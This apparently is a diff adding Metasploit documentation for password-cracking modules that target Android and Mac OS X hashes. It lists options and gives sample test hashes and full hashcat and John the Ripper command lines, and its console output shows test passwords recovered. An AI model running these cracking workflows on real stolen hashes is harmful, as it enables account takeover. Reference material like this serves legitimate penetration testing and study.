+ DB ID  Hash Type  Username          Cracked Password  Method
+ -----  ---------  --------          ----------------  ------
+ 1322   descrypt   des2_password     password          Wordlist
+ 1323   descrypt   des_password      password          Wordlist
+ 1324   descrypt   des_55            55                Incremental
+ 1325   descrypt   des_pot_55        55                Already Cracked/POT
+ 1327   md5crypt   md5_password      password          Wordlist
+ 1328   md5crypt   md52_password     password          Wordlist
+ 1329   md5crypt   md5_pot_password  password          Already Cracked/POT
+ 1330   bsdicrypt  bsdi_password     password          Wordlist
+
+[*] Checking bcrypt hashes already cracked...
+[*] Cracking bcrypt hashes in incremental mode...
+[*]    Cracking Command: /usr/bin/hashcat --session=wNHLTkTX --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=3200 --increment --increment-max=4 --attack-mode=3 --runtime=60 /tmp/hashes_tmp20190531-28535-hi2lkf
+nvmlDeviceGetFanSpeed(): Not Supported
+
+[*] Cracking bcrypt hashes in wordlist mode...
+[*]    Cracking Command: /usr/bin/hashcat --session=wNHLTkTX --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=3200 --attack-mode=0 --runtime=60 /tmp/hashes_tmp20190531-28535-hi2lkf /tmp/jtrtmp20190531-28535-47c707
+nvmlDeviceGetFanSpeed(): Not Supported
+
+[+] Cracked Hashes
+==============
+
+ DB ID  Hash Type  Username           Cracked Password  Method
+ -----  ---------  --------           ----------------  ------
+ 1322   descrypt   des2_password      password          Wordlist
+ 1323   descrypt   des_password       password          Wordlist
+ 1324   descrypt   des_55             55                Incremental
+ 1325   descrypt   des_pot_55         55                Already Cracked/POT
+ 1327   md5crypt   md5_password       password          Wordlist
+ 1328   md5crypt   md52_password      password          Wordlist
+ 1329   md5crypt   md5_pot_password   password          Already Cracked/POT
+ 1330   bsdicrypt  bsdi_password      password          Wordlist
+ 1333   bcrypt     blowfish_password  password          Wordlist
+
+[*] Checking sha256crypt hashes already cracked...
+[*] Cracking sha256crypt hashes in incremental mode...
+[*]    Cracking Command: /usr/bin/hashcat --session=uNQu0c8S --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=7400 --increment --increment-max=4 --attack-mode=3 --runtime=60 /tmp/hashes_tmp20190531-28535-hi2lkf
+nvmlDeviceGetFanSpeed(): Not Supported
+
+[*] Cracking sha256crypt hashes in wordlist mode...
+[*]    Cracking Command: /usr/bin/hashcat --session=uNQu0c8S --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=7400 --attack-mode=0 --runtime=60 /tmp/hashes_tmp20190531-28535-hi2lkf /tmp/jtrtmp20190531-28535-47c707
+nvmlDeviceGetFanSpeed(): Not Supported
+
+[+] Cracked Hashes
+==============
+
+ DB ID  Hash Type    Username           Cracked Password  Method
+ -----  ---------    --------           ----------------  ------
+ 1322   descrypt     des2_password      password          Wordlist
+ 1323   descrypt     des_password       password          Wordlist
+ 1324   descrypt     des_55             55                Incremental
+ 1325   descrypt     des_pot_55         55                Already Cracked/POT
+ 1327   md5crypt     md5_password       password          Wordlist
+ 1328   md5crypt     md52_password      password          Wordlist
+ 1329   md5crypt     md5_pot_password   password          Already Cracked/POT
+ 1330   bsdicrypt    bsdi_password      password          Wordlist
+ 1331   sha256crypt  sha256_password    password          Wordlist
+ 1333   bcrypt       blowfish_password  password          Wordlist
+
+[*] Checking sha512crypt hashes already cracked...
+[*] Cracking sha512crypt hashes in incremental mode...
+[*]    Cracking Command: /usr/bin/hashcat --session=0GST7Eb1 --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=1800 --increment --increment-max=4 --attack-mode=3 --runtime=60 /tmp/hashes_tmp20190531-28535-hi2lkf
+nvmlDeviceGetFanSpeed(): Not Supported
+
+[*] Cracking sha512crypt hashes in wordlist mode...
+[*]    Cracking Command: /usr/bin/hashcat --session=0GST7Eb1 --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=1800 --attack-mode=0 --runtime=60 /tmp/hashes_tmp20190531-28535-hi2lkf /tmp/jtrtmp20190531-28535-47c707
+nvmlDeviceGetFanSpeed(): Not Supported
+
+[+] Cracked Hashes
+==============
+
+ DB ID  Hash Type    Username           Cracked Password  Method
+ -----  ---------    --------           ----------------  ------
+ 1322   descrypt     des2_password      password          Wordlist
+ 1323   descrypt     des_password       password          Wordlist
+ 1324   descrypt     des_55             55                Incremental
+ 1325   descrypt     des_pot_55         55                Already Cracked/POT
+ 1327   md5crypt     md5_password       password          Wordlist
+ 1328   md5crypt     md52_password      password          Wordlist
+ 1329   md5crypt     md5_pot_password   password          Already Cracked/POT
+ 1330   bsdicrypt    bsdi_password      password          Wordlist
+ 1331   sha256crypt  sha256_password    password          Wordlist
+ 1332   sha512crypt  sha512_password    password          Wordlist
+ 1333   bcrypt       blowfish_password  password          Wordlist
+
+[*] Auxiliary module execution completed
+resource (hashes_hashcat.rb)> creds
+Credentials
+===========
+
+host  origin  service  public             private                                                                                             realm  private_type        JtR Format
+----  ------  -------  ------             -------                                                                                             -----  ------------        ----------
+                       md5_password       password                                                                                                   Password            
+                       blowfish_password  $2a$05$bvIG6Nmid91Mu9RcmmWZfO5HJIMCT8riNW0hEp8f6/FuA2/mHZFpe                                               Nonreplayable hash  bf
+                       des_pot_55         55                                                                                                         Password            
+                       des_password       password                                                                                                   Password            
+                       md52_password      $1$O3JMY.Tw$AdLnLjQ/5jXF9.MTp3gHv/                                                                         Nonreplayable hash  md5
+                       sha256_password    password                                                                                                   Password            
+                       bsdi_password      _J9..K0AyUubDrfOgO4s                                                                                       Nonreplayable hash  bsdi
+                       sha512_password    $6$zWwwXKNj$gLAOoZCjcr8p/.VgV/FkGC3NX7BsXys3KHYePfuIGMNjY83dVxugPYlxVg/evpcVEJLT/rSwZcDMlVVf/bhf.1         Nonreplayable hash  sha512
+                       bsdi_password      password                                                                                                   Password            
+                       sha512_password    password                                                                                                   Password            
+                       blowfish_password  password                                                                                                   Password            
+                       des2_password      rEK1ecacw.7.c                                                                                              Nonreplayable hash  des
+                       des_55             55                                                                                                         Password            
+                       des2_password      password                                                                                                   Password            
+                       md5_password       $1$O3JMY.Tw$AdLnLjQ/5jXF9.MTp3gHv/                                                                         Nonreplayable hash  md5
+                       des_pot_55         fakeV6xlcXxRM                                                                                              Nonreplayable hash  des
+                       des_password       rEK1ecacw.7.c                                                                                              Nonreplayable hash  des
+                       md52_password      password                                                                                                   Password            
+                       md5_pot_password   password                                                                                                   Password            
+                       md5_pot_password   $1$O3JMY.Tw$AdLnLjQ/5jXF9.fakegHv/                                                                         Nonreplayable hash  md5
+                       des_passphrase     qiyh4XPJGsOZ2MEAyLkfWqeQ                                                                                   Nonreplayable hash  des
+                       des_55             rDpJV6xlcXxRM                                                                                              Nonreplayable hash  des
+                       sha256_password    $5$MnfsQ4iN$ZMTppKN16y/tIsUYs/obHlhdP.Os80yXhTurpBMUbA5                                                    Nonreplayable hash  sha256
+```
@@ -0,0 +1,266 @@
+## Vulnerable Application
+
+  This module attempts to use a password cracker to decode mobile (Android)
+  based password hashes, such as:
+
+  * `android-sha1` based passwords
+  * `android-samsung-sha1` based passwords
+  * `android-md5` based passwords
+
+  Formats:
+
+| Common               | John | Hashcat |
+|----------------------| -----|---------|
+| android-md5          | n/a  | 10      |
+| android-samsung-sha1 | n/a  | 5800    |
+| android-sha1         | n/a  | 110     |
+
+  Sources of hashes can be found here:
+  [source](https://hashcat.net/forum/thread-2202.html)
+
+## Verification Steps
+
+  1. Have at least one user with a `android-sha1`, `android-samsung-sha1`, or `android-md5` password in the database
+  2. Start msfconsole
+  3. Do: ```use auxiliary/analyze/crack_mobile```
+  4. Do: set cracker of choice
+  5. Do: ```run```
+  6. You should hopefully crack a password.
+
+## Actions
+
+   **hashcat**
+
+   Use hashcat (default).
+
+## Options
+
+   **MD5**
+
+   Crack `android-md5` based passwords.  Default is `true`
+
+   **SHA1**
+
+   Crack `android-sha1` (non-samsung) based passwords.  Default is `true`
+
+   **SAMSUNG**
+
+   Crack `android-samsung-sha1` based passwords.  Default is `true`
+
+   **CONFIG**
+
+   The path to a John config file (JtR option: `--config`).  Default is `metasploit-framework/data/john.conf`
+
+   **CRACKER_PATH**
+
+   The absolute path to the cracker executable.  Default behavior is to search `path`.
+
+   **CUSTOM_WORDLIST**
+
+   The path to an optional custom wordlist.  This file is added to the new wordlist which may include the other
+   `USE` items like `USE_CREDS`, and have `MUTATE` or `KORELOGIC` applied to it.
+
+   **DeleteTempFiles**
+
+   This option will prevent deletion of the wordlist and file containing hashes.  This may be useful for
+   running the hashes through john if it wasn't cracked, or for debugging. Default is `false`.
+
+   **Fork**
+
+   This option will set how many forks to use on john the ripper.  Default is `1` (no forking).
+
+   **INCREMENTAL**
+
+   Run the cracker in incremental mode.  Default is `true`
+
+   **ITERATION_TIMEOUT**
+
+   The max-run-time for each iteration of cracking
+
+   **KORELOGIC**
+
+   Apply the [KoreLogic rules](http://contest-2010.korelogic.com/rules.html) to Wordlist Mode (slower).
+   Default is `false`.
+
+   **MUTATE**
+
+   Apply common mutations to the Wordlist (SLOW).  Mutations are:
+
+   * `'@' => 'a'`
+   * `'0' => 'o'`
+   * `'3' => 'e'`
+   * `'$' => 's'`
+   * `'7' => 't'`
+   * `'1' => 'l'`
+   * `'5' => 's'`
+
+   Default is `false`.
+
+   **POT**
+
+   The path to a John POT file (JtR option: `--pot`) to use instead.  The `pot` file is the data file which
+   records cracked password hashes.  Kali linux's default location is `/root/.john/john.pot`.
+   Default is `~/.msf4/john.pot`.
+
+   **SHOWCOMMAND**
+
+   Show the command being used run from the command line for debugging.  Default is `false`
+
+   **USE_CREDS**
+
+   Use existing credential data saved in the database.  Default is `true`.
+
+   **USE_DB_INFO**
+
+   Use looted database schema info to seed the wordlist.  This includes the Database Name, each Table Name,
+   and each Column Name.  If the DB is MSSQL, the Instance Name is also used.  Default is `true`.
+
+   **USE_DEFAULT_WORDLIST**
+
+   Use the default metasploit wordlist in `metasploit-framework/data/wordlists/password.lst`.  Default is
+   `true`.
+
+   **USE_HOSTNAMES**
+
+   Seed the wordlist with hostnames from the workspace.  Default is `true`.
+
+   **USE_ROOT_WORDS**
+
+   Use the Common Root Words Wordlist in `metasploit-framework/data/wordlists/common_roots.txt`.  Default
+   is true.
+
+   **WORDLIST**
+
+   Run the cracker in dictionary/wordlist mode.  Default is `true`
+
+## Scenarios
+
+### Sample Data
+
+The following is data which can be used to test integration, including adding entries
+to a wordlist and pot file to test various aspects of the cracker.
+
+```
+creds add user:androidsha1 hash:D1B19A90B87FC10C304E657F37162445DAE27D16:a006983800cc3dd1 jtr:android-sha1
+```
+
+### Hashcat
+
+We'll set `ITERATION_TIMEOUT 60` for a quick crack, and `ShowCommand true` for easy debugging.
+
+```
+msf5 post(android/gather/hashdump) > creds add user:androidsha1 hash:D1B19A90B87FC10C304E657F37162445DAE27D16:a006983800cc3dd1 jtr:android-sha1
+msf5 post(android/gather/hashdump) > previous
+msf5 auxiliary(analyze/crack_mobile) > set showcommand true
+showcommand => true
+msf5 auxiliary(analyze/crack_mobile) > run
+
+[+] hashcat Version Detected: v5.1.0
+[*] Hashes Written out to /tmp/hashes_tmp20191112-9775-19hbg7j
+[*] Wordlist file written out to /tmp/jtrtmp20191112-9775-f3q0r1
+[*] Checking android-sha1 hashes already cracked...
+[*] Cracking android-sha1 hashes in pin mode...
+[*]    Cracking Command: /usr/bin/hashcat --session=UrEHXRVq --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=5800 --increment --increment-min=4 --increment-max=8 --attack-mode=3 --runtime=300 /tmp/hashes_tmp20191112-9775-19hbg7j ?d?d?d?d?d?d?d?d
+nvmlDeviceGetFanSpeed(): Not Supported
+
+[*] Cracking android-sha1 hashes in incremental mode...
+[*]    Cracking Command: /usr/bin/hashcat --session=UrEHXRVq --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=5800 --increment --increment-max=4 --attack-mode=3 /tmp/hashes_tmp20191112-9775-19hbg7j
+nvmlDeviceGetFanSpeed(): Not Supported
+
+[*] Cracking android-sha1 hashes in wordlist mode...
+[*]    Cracking Command: /usr/bin/hashcat --session=UrEHXRVq --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=5800 --attack-mode=0 /tmp/hashes_tmp20191112-9775-19hbg7j /tmp/jtrtmp20191112-9775-f3q0r1
+nvmlDeviceGetFanSpeed(): Not Supported
+
+[+] Cracked Hashes
+==============
+
+ DB ID  Hash Type     Username     Cracked Password  Method
+ -----  ---------     --------     ----------------  ------
+ 98     android-sha1  androidsha1  1234              Pin
+
+[*] Auxiliary module execution completed
+
+```
+
+### MD5, SHA1, SAMSUNG
+
+Create a password with each type, passwords are all `1234`.
+
+```
+msf5 > creds add user:samsungsha1 hash:D1B19A90B87FC10C304E657F37162445DAE27D16:a006983800cc3dd1 jtr:android-samsung-sha1
+msf5 > creds add user:androidsha1 hash:9860A48CA459D054F3FEF0F8518CF6872923DAE2:81fcb23bcadd6c5 jtr:android-sha1
+msf5 > creds add user:androidmd5 hash:1C0A0FDB673FBA36BEAEB078322C7393:81fcb23bcadd6c5 jtr:android-md5
+```
+
+```
+msf5 > use auxiliary/analyze/crack_mobile
+msf5 auxiliary(analyze/crack_mobile) > run
+
+[+] hashcat Version Detected: v5.1.0
+[*] Hashes Written out to /tmp/hashes_tmp20191113-29506-1xydi7
+[*] Wordlist file written out to /tmp/jtrtmp20191113-29506-aq6ph7
+[*] Checking android-sha1 hashes already cracked...
+[*] Cracking android-sha1 hashes in pin mode...
+[*]    Cracking Command: /usr/bin/hashcat --session=ishUl4hb --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=110 --increment --increment-min=4 --increment-max=8 --attack-mode=3 --runtime=300 /tmp/hashes_tmp20191113-29506-1xydi7 ?d?d?d?d?d?d?d?d
+nvmlDeviceGetFanSpeed(): Not Supported
+
+[*] Cracking android-sha1 hashes in incremental mode...
+[*]    Cracking Command: /usr/bin/hashcat --session=ishUl4hb --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=110 --increment --increment-max=4 --attack-mode=3 /tmp/hashes_tmp20191113-29506-1xydi7
+nvmlDeviceGetFanSpeed(): Not Supported
+
+[*] Cracking android-sha1 hashes in wordlist mode...
+[*]    Cracking Command: /usr/bin/hashcat --session=ishUl4hb --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=110 --attack-mode=0 /tmp/hashes_tmp20191113-29506-1xydi7 /tmp/jtrtmp20191113-29506-aq6ph7
+nvmlDeviceGetFanSpeed(): Not Supported
+
+[+] Cracked Hashes
+==============
+
+ DB ID  Hash Type     Username     Cracked Password  Method
+ -----  ---------     --------     ----------------  ------
+ 127    android-sha1  androidsha1  1234              Pin
+
+[*] Checking android-samsung-sha1 hashes already cracked...
+[*] Cracking android-samsung-sha1 hashes in pin mode...
+[*]    Cracking Command: /usr/bin/hashcat --session=SMD3wSMl --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=5800 --increment --increment-min=4 --increment-max=8 --attack-mode=3 --runtime=300 /tmp/hashes_tmp20191113-29506-1xydi7 ?d?d?d?d?d?d?d?d
+nvmlDeviceGetFanSpeed(): Not Supported
+
+[*] Cracking android-samsung-sha1 hashes in incremental mode...
+[*]    Cracking Command: /usr/bin/hashcat --session=SMD3wSMl --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=5800 --increment --increment-max=4 --attack-mode=3 /tmp/hashes_tmp20191113-29506-1xydi7
+nvmlDeviceGetFanSpeed(): Not Supported
+
+[*] Cracking android-samsung-sha1 hashes in wordlist mode...
+[*]    Cracking Command: /usr/bin/hashcat --session=SMD3wSMl --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=5800 --attack-mode=0 /tmp/hashes_tmp20191113-29506-1xydi7 /tmp/jtrtmp20191113-29506-aq6ph7
+nvmlDeviceGetFanSpeed(): Not Supported
+
+[+] Cracked Hashes
+==============
+
+ DB ID  Hash Type             Username     Cracked Password  Method
+ -----  ---------             --------     ----------------  ------
+ 126    android-samsung-sha1  samsungsha1  1234              Pin
+ 127    android-sha1          androidsha1  1234              Pin
+
+[*] Checking android-md5 hashes already cracked...
+[*] Cracking android-md5 hashes in pin mode...
+[*]    Cracking Command: /usr/bin/hashcat --session=outBsYDa --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=10 --increment --increment-min=4 --increment-max=8 --attack-mode=3 --runtime=300 /tmp/hashes_tmp20191113-29506-1xydi7 ?d?d?d?d?d?d?d?d
+nvmlDeviceGetFanSpeed(): Not Supported
+
+[*] Cracking android-md5 hashes in incremental mode...
+[*]    Cracking Command: /usr/bin/hashcat --session=outBsYDa --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=10 --increment --increment-max=4 --attack-mode=3 /tmp/hashes_tmp20191113-29506-1xydi7
+nvmlDeviceGetFanSpeed(): Not Supported
+
+[*] Cracking android-md5 hashes in wordlist mode...
+[*]    Cracking Command: /usr/bin/hashcat --session=outBsYDa --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=10 --attack-mode=0 /tmp/hashes_tmp20191113-29506-1xydi7 /tmp/jtrtmp20191113-29506-aq6ph7
+nvmlDeviceGetFanSpeed(): Not Supported
+
+[+] Cracked Hashes
+==============
+
+ DB ID  Hash Type             Username     Cracked Password  Method
+ -----  ---------             --------     ----------------  ------
+ 126    android-samsung-sha1  samsungsha1  1234              Pin
+ 127    android-sha1          androidsha1  1234              Pin
+ 128    android-md5           androidmd5   1234              Pin
+
+[*] Auxiliary module execution completed
+```
@@ -0,0 +1,395 @@
+## Vulnerable Application
+
+  This module attempts to use a password cracker to decode Mac OS X
+  based password hashes, such as:
+
+  * `XSHA` based passwords (10.4-10.6)
+  * `XSHA512` based passwords (10.7)
+  * `PBKDF2-HMAC-SHA512` based passwords (10.8+)
+
+| Common             | John               | Hashcat |
+|--------------------|--------------------|---------|
+| xsha               | xsha               | 122     |
+| xsha512            | xsha512            | 1722    |
+| pbkdf2-hmac-sha512 | pbkdf2-hmac-sha512 | 7100    |
+
+  Sources of hashes can be found here:
+  [source](https://openwall.info/wiki/john/sample-hashes), [source2](http://pentestmonkey.net/cheat-sheet/john-the-ripper-hash-formats)
+
+## Verification Steps
+
+  1. Have at least one user with an `xsha`, `xsha512`, `pbkdf2-hmac-sha512` password hash in the database
+  2. Start msfconsole
+  3. Do: ```use auxiliary/analyze/crack_osx```
+  4. Do: set cracker of choice
+  5. Do: ```run```
+  6. You should hopefully crack a password.
+
+## Actions
+
+   **john**
+
+   Use john the ripper (default).
+
+   **hashcat**
+
+   Use hashcat.
+
+## Options
+
+   **CONFIG**
+
+   The path to a John config file (JtR option: `--config`).  Default is `metasploit-framework/data/john.conf`
+
+   **CRACKER_PATH**
+
+   The absolute path to the cracker executable.  Default behavior is to search `path`.
+
+   **CUSTOM_WORDLIST**
+
+   The path to an optional custom wordlist.  This file is added to the new wordlist which may include the other
+   `USE` items like `USE_CREDS`, and have `MUTATE` or `KORELOGIC` applied to it.
+
+   **DeleteTempFiles**
+
+   This option will prevent deletion of the wordlist and file containing hashes.  This may be useful for
+   running the hashes through john if it wasn't cracked, or for debugging. Default is `false`.
+
+   **Fork**
+
+   This option will set how many forks to use on john the ripper.  Default is `1` (no forking).
+
+   **INCREMENTAL**
+
+   Run the cracker in incremental mode.  Default is `true`
+
+   **ITERATION_TIMEOUT**
+
+   The max-run-time for each iteration of cracking.
+
+   **KORELOGIC**
+
+   Apply the [KoreLogic rules](http://contest-2010.korelogic.com/rules.html) to Wordlist Mode (slower).
+   Default is `false`.
+
+   **MUTATE**
+
+   Apply common mutations to the Wordlist (SLOW).  Mutations are:
+
+   * `'@' => 'a'`
+   * `'0' => 'o'`
+   * `'3' => 'e'`
+   * `'$' => 's'`
+   * `'7' => 't'`
+   * `'1' => 'l'`
+   * `'5' => 's'`
+
+   Default is `false`.
+
+   **PBKDF2-HMAC-SHA512**
+
+   Crack SHA12 hashes. Default is `true`.
+
+   **POT**
+
+   The path to a John POT file (JtR option: `--pot`) to use instead.  The `pot` file is the data file which
+   records cracked password hashes.  Kali linux's default location is `/root/.john/john.pot`.
+   Default is `~/.msf4/john.pot`.
+
+   **SHOWCOMMAND**
+
+   Show the command being used run from the command line for debugging.  Default is `false`
+
+   **USE_CREDS**
+
+   Use existing credential data saved in the database.  Default is `true`.
+
+   **USE_DB_INFO**
+
+   Use looted database schema info to seed the wordlist.  This includes the Database Name, each Table Name,
+   and each Column Name.  If the DB is MSSQL, the Instance Name is also used.  Default is `true`.
+
+   **USE_DEFAULT_WORDLIST**
+
+   Use the default metasploit wordlist in `metasploit-framework/data/wordlists/password.lst`.  Default is
+   `true`.
+
+   **USE_HOSTNAMES**
+
+   Seed the wordlist with hostnames from the workspace.  Default is `true`.
+
+   **USE_ROOT_WORDS**
+
+   Use the Common Root Words Wordlist in `metasploit-framework/data/wordlists/common_roots.txt`.  Default
+   is true.
+
+   **WORDLIST**
+
+   Run the cracker in dictionary/wordlist mode.  Default is `true`
+
+   **XSHA**
+
+   Crack xsha based hashes. Default is `true`.
+
+## Scenarios
+
+### Sample Data
+
+The following is data which can be used to test integration, including adding entries
+to a wordlist and pot file to test various aspects of the cracker.
+
+```
+creds add user:buddahh hash:7E4F6138BE21EF6A61365A4D3270DAD24A6544EE188ED422 jtr:xsha
+creds add user:mama hash:3063D72395EB1A92D9BA9B8C2DF4074A081EDD1954E6B2BA jtr:xsha
+creds add user:hashcat hash:1430823483d07626ef8be3fda2ff056d0dfd818dbfe47683 jtr:xsha
+creds add user:hashcat hash:$ml$35460$93a94bd24b5de64d79a5e49fa372827e739f4d7b6975c752c9a0ff1e5cf72e05$752351df64dd2ce9dc9c64a72ad91de6581a15c19176266b44d98919dfa81f0f9$
+echo "" > /root/.msf4/john.pot
+echo "3063D72395EB1A92D9BA9B8C2DF4074A081EDD1954E6B2BA:mama" >> /root/.msf4/john.pot
+echo "md5be86a79bf20fake2d58d5453c47d4860:password" >> /root/.msf4/john.pot
+echo "password" > /tmp/wordlist
+echo "buddahh" >> /tmp/wordlist
+```
+
+### John the Ripper
+
+We'll set `ITERATION_TIMEOUT 60` for a quick crack, and `ShowCommand true` for easy debugging.
+
+```
+resource (hashes_hashcat.rb)> setg CUSTOM_WORDLIST /tmp/wordlist
+CUSTOM_WORDLIST => /tmp/wordlist
+resource (hashes_hashcat.rb)> setg ShowCommand true
+ShowCommand => true
+resource (hashes_hashcat.rb)> setg USE_DEFAULT_WORDLIST false
+USE_DEFAULT_WORDLIST => false
+resource (hashes_hashcat.rb)> setg DeleteTempFiles false
+DeleteTempFiles => false
+resource (hashes_hashcat.rb)> setg USE_CREDS false
+USE_CREDS => false
+resource (hashes_hashcat.rb)> setg USE_DB_INFO false
+USE_DB_INFO => false
+resource (hashes_hashcat.rb)> setg USE_HOSTNAMES false
+USE_HOSTNAMES => false
+resource (hashes_hashcat.rb)> setg USE_ROOT_WORDS false
+USE_ROOT_WORDS => false
+resource (hashes_hashcat.rb)> setg ITERATION_TIMEOUT 60
+ITERATION_TIMEOUT => 60
+resource (hashes_hashcat.rb)> use auxiliary/analyze/crack_osx
+resource (hashes_hashcat.rb)> run
+[+] john Version Detected: 1.9.0-jumbo-1 OMP
+[*] Hashes Written out to /tmp/hashes_tmp20190531-30487-6zp8aw
+[*] Wordlist file written out to /tmp/jtrtmp20190531-30487-7w6deh
+[*] Checking xsha hashes already cracked...
+[*] Cracking xsha hashes in single mode...
+[*]    Cracking Command: /usr/sbin/john --session=u7NpglLW --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=xsha --wordlist=/tmp/jtrtmp20190531-30487-7w6deh --rules=single --max-run-time=60 /tmp/hashes_tmp20190531-30487-6zp8aw
+Using default input encoding: UTF-8
+Warning: poor OpenMP scalability for this hash type, consider --fork=8
+Will run 8 OpenMP threads
+Press 'q' or Ctrl-C to abort, almost any other key for status
+1g 0:00:00:00 DONE (2019-05-31 16:03) 100.0g/s 819200p/s 819200c/s 819200C/s test3:::..Password1\!99
+Use the "--show" option to display all of the cracked passwords reliably
+Session completed
+[*] Cracking xsha hashes in normal mode
+[*]    Cracking Command: /usr/sbin/john --session=u7NpglLW --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=xsha --max-run-time=60 /tmp/hashes_tmp20190531-30487-6zp8aw
+Using default input encoding: UTF-8
+[*] Cracking xsha hashes in incremental mode...
+[*]    Cracking Command: /usr/sbin/john --session=u7NpglLW --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=xsha --incremental=Digits --max-run-time=60 /tmp/hashes_tmp20190531-30487-6zp8aw
+Using default input encoding: UTF-8
+[*] Cracking xsha hashes in wordlist mode...
+[*]    Cracking Command: /usr/sbin/john --session=u7NpglLW --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=xsha --wordlist=/tmp/jtrtmp20190531-30487-7w6deh --rules=wordlist --max-run-time=60 /tmp/hashes_tmp20190531-30487-6zp8aw
+Using default input encoding: UTF-8
+[+] Cracked Hashes
+==============
+
+ DB ID  Hash Type  Username      Cracked Password  Method
+ -----  ---------  --------      ----------------  ------
+ 1398   xsha       xsha_buddahh  buddahh           Single
+ 1399   xsha       xsha_mama     mama              Already Cracked/POT
+
+[*] Checking xsha512 hashes already cracked...
+[*] Cracking xsha512 hashes in single mode...
+[*]    Cracking Command: /usr/sbin/john --session=A5BIrZX9 --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=xsha512 --wordlist=/tmp/jtrtmp20190531-30487-7w6deh --rules=single --max-run-time=60 /tmp/hashes_tmp20190531-30487-6zp8aw
+Using default input encoding: UTF-8
+Will run 8 OpenMP threads
+Press 'q' or Ctrl-C to abort, almost any other key for status
+2g 0:00:00:00 DONE (2019-05-31 16:03) 66.66g/s 568866p/s 1137Kc/s 1137KC/s test3:::..t1900
+Use the "--show --format=xsha512" options to display all of the cracked passwords reliably
+Session completed
+[*] Cracking xsha512 hashes in normal mode
+[*]    Cracking Command: /usr/sbin/john --session=A5BIrZX9 --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=xsha512 --max-run-time=60 /tmp/hashes_tmp20190531-30487-6zp8aw
+Using default input encoding: UTF-8
+[*] Cracking xsha512 hashes in incremental mode...
+[*]    Cracking Command: /usr/sbin/john --session=A5BIrZX9 --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=xsha512 --incremental=Digits --max-run-time=60 /tmp/hashes_tmp20190531-30487-6zp8aw
+Using default input encoding: UTF-8
+[*] Cracking xsha512 hashes in wordlist mode...
+[*]    Cracking Command: /usr/sbin/john --session=A5BIrZX9 --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=xsha512 --wordlist=/tmp/jtrtmp20190531-30487-7w6deh --rules=wordlist --max-run-time=60 /tmp/hashes_tmp20190531-30487-6zp8aw
+Using default input encoding: UTF-8
+[+] Cracked Hashes
+==============
+
+ DB ID  Hash Type  Username          Cracked Password  Method
+ -----  ---------  --------          ----------------  ------
+ 1398   xsha       xsha_buddahh      buddahh           Single
+ 1399   xsha       xsha_mama         mama              Already Cracked/POT
+ 1401   xsha512    xsha512_password  password          Single
+ 1402   xsha512    xsha512_hashcat   hashcat           Single
+
+[*] Checking PBKDF2-HMAC-SHA512 hashes already cracked...
+[*] Cracking PBKDF2-HMAC-SHA512 hashes in single mode...
+[*]    Cracking Command: /usr/sbin/john --session=BdToxfX9 --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=PBKDF2-HMAC-SHA512 --wordlist=/tmp/jtrtmp20190531-30487-7w6deh --rules=single --max-run-time=60 /tmp/hashes_tmp20190531-30487-6zp8aw
+Using default input encoding: UTF-8
+Will run 8 OpenMP threads
+Press 'q' or Ctrl-C to abort, almost any other key for status
+1g 0:00:00:00 DONE (2019-05-31 16:03) 9.090g/s 290.9p/s 290.9c/s 290.9C/s test3:::..Thales
+Use the "--show --format=PBKDF2-HMAC-SHA512" options to display all of the cracked passwords reliably
+Session completed
+[*] Cracking PBKDF2-HMAC-SHA512 hashes in normal mode
+[*]    Cracking Command: /usr/sbin/john --session=BdToxfX9 --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=PBKDF2-HMAC-SHA512 --max-run-time=60 /tmp/hashes_tmp20190531-30487-6zp8aw
+Using default input encoding: UTF-8
+[*] Cracking PBKDF2-HMAC-SHA512 hashes in incremental mode...
+[*]    Cracking Command: /usr/sbin/john --session=BdToxfX9 --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=PBKDF2-HMAC-SHA512 --incremental=Digits --max-run-time=60 /tmp/hashes_tmp20190531-30487-6zp8aw
+Using default input encoding: UTF-8
+[*] Cracking PBKDF2-HMAC-SHA512 hashes in wordlist mode...
+[*]    Cracking Command: /usr/sbin/john --session=BdToxfX9 --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=PBKDF2-HMAC-SHA512 --wordlist=/tmp/jtrtmp20190531-30487-7w6deh --rules=wordlist --max-run-time=60 /tmp/hashes_tmp20190531-30487-6zp8aw
+Using default input encoding: UTF-8
+[+] Cracked Hashes
+==============
+
+ DB ID  Hash Type           Username          Cracked Password  Method
+ -----  ---------           --------          ----------------  ------
+ 1398   xsha                xsha_buddahh      buddahh           Single
+ 1399   xsha                xsha_mama         mama              Already Cracked/POT
+ 1401   xsha512             xsha512_password  password          Single
+ 1402   xsha512             xsha512_hashcat   hashcat           Single
